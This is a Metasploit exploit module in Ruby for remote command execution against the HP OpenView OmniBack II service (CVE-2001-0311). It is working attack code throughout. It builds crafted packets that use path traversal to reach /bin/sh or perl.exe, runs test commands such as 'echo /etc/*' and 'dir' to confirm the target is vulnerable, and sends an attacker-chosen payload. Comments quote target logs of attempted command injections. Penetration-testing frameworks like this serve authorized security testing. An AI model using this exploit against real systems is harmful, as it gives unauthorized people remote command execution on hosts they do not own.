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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'HP OpenView OmniBack II Command Execution',
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      'Description'    => %q{
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          This module uses a vulnerability in the OpenView Omniback II
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        service to execute arbitrary commands. This vulnerability was
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        discovered by DiGiT and his code was used as the basis for this
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        module.
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        For Microsoft Windows targets, due to module limitations, use the
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        "unix/cmd/generic" payload and set CMD to your command. You can only
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        pass a small amount of characters (4) to the command line on Windows.
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      },
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      'Author'         => [ 'hdm', 'aushack' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2001-0311'],
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          ['OSVDB', '6018'],
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          ['BID', '11032'],
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          ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
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        ],
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      'Platform'       => ['unix'], # win
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      'Arch'           => ARCH_CMD,
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'       => 1024,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Unix', { }],
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          [ 'Windows', { }],
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        ],
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      'DisclosureDate' => '2001-02-28',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(5555)
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      ])
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  end
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  def check
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    if (target.name =~ /Unix/)
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      connect
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      poof =
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        "\x00\x00\x00.2"+
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        "\x00 a"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 A"+
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        "\x00 28"+
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        "\x00/../../../bin/sh"+
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        "\x00\x00"+
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        "digit "+
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        "AAAA\n\x00"
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      sock.put(poof)
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      sock.put("echo /etc/*;\n")
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      res = sock.get_once(-1, 5)
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      disconnect
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      if !(res and res.length > 0)
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        vprint_status("The remote service did not reply to our request")
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        return Exploit::CheckCode::Safe
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      end
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      if (res =~ /passwd|group|resolv/)
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        vprint_status("The remote service is exploitable")
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        return Exploit::CheckCode::Vulnerable
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      end
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      return Exploit::CheckCode::Safe
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    end
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    if (target.name =~ /Windows/)
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      connect
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      poof =
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        "\x00\x00\x00.2"+
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        "\x00 a"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 A"+
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        "\x00 28"+
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        "\x00\\perl.exe"+
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        "\x00\x20-e\x20system(dir)\x00\x00"+
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        "digit "+
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        "AAAA\n\x00"
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      sock.put(poof)
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      res = sock.get_once(-1, 5)
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      disconnect
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      print_status(res.to_s)
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      if !(res and res.length > 0)
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        print_status("The remote service did not reply to our request")
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        return Exploit::CheckCode::Safe
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      end
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      if (res =~ /V.o.l.u.m.e/) #Unicode
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        print_status("The remote service is exploitable")
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        return Exploit::CheckCode::Vulnerable
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      end
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    if (target.name =~ /Unix/)
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      connect
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      poof =
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        "\x00\x00\x00.2"+
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        "\x00 a"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 A"+
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        "\x00 28"+
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        "\x00/../../../bin/sh"+
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        "\x00\x00"+
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        "digit "+
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        "AAAA\n\x00"
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      sock.put(poof)
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      sock.put(payload.encoded + ";\n")
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      res = sock.get_once(-1, 5)
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      if !(res and res.length > 0)
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        print_status("The remote service did not reply to our request")
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        disconnect
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        return
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      end
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      print(res)
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      handler
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      disconnect
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    end
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    if (target.name =~ /Windows/)
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      # aushack
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      #
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      # Tested during pen test against Windows 2003 server.
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      # Windows Service details:
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      # - Data Protector Inet
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      # -> [HP OpenView Storage Data Protector] - Backup client service
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      # -> "C:\Program Files\OmniBack\bin\omniinet.exe"
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      # -> OmniInet service for Windows NT
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      # -> File version: 6.0.0.0
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      #
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      # This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
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      #
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      # Notes:
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      # I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
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      # Perhaps a difference in Windows/Unix code? Logs:
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      #
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      #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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      #A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
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      #
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      #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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      #[RxNtIntegUtil] parameter refused: ..\foo.exe
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      #
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      #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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      #A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
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      #
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      #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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      #[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
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      #
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      #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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      #A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
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      #
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      #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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      #[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >
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      connect
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      poof =
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        "\x00\x00\x00.2"+
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        "\x00 a"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 0"+
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        "\x00 A"+
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        "\x00 28"+
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        "\x00\\perl.exe"+
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        "\x00\x20-esystem(#{payload.encoded})\x00\x00"+
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        "digit "+
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        "AAAA\n\x00"
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      sock.put(poof)
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      #sock.put(payload.encoded + "\n")
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      res = sock.get_once(-1, 5)
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      if !(res and res.length > 0)
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        print_status("The remote service did not reply to our request")
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        disconnect
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        return
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      end
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      print(res)
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      handler
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      disconnect
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    end
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  end
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end
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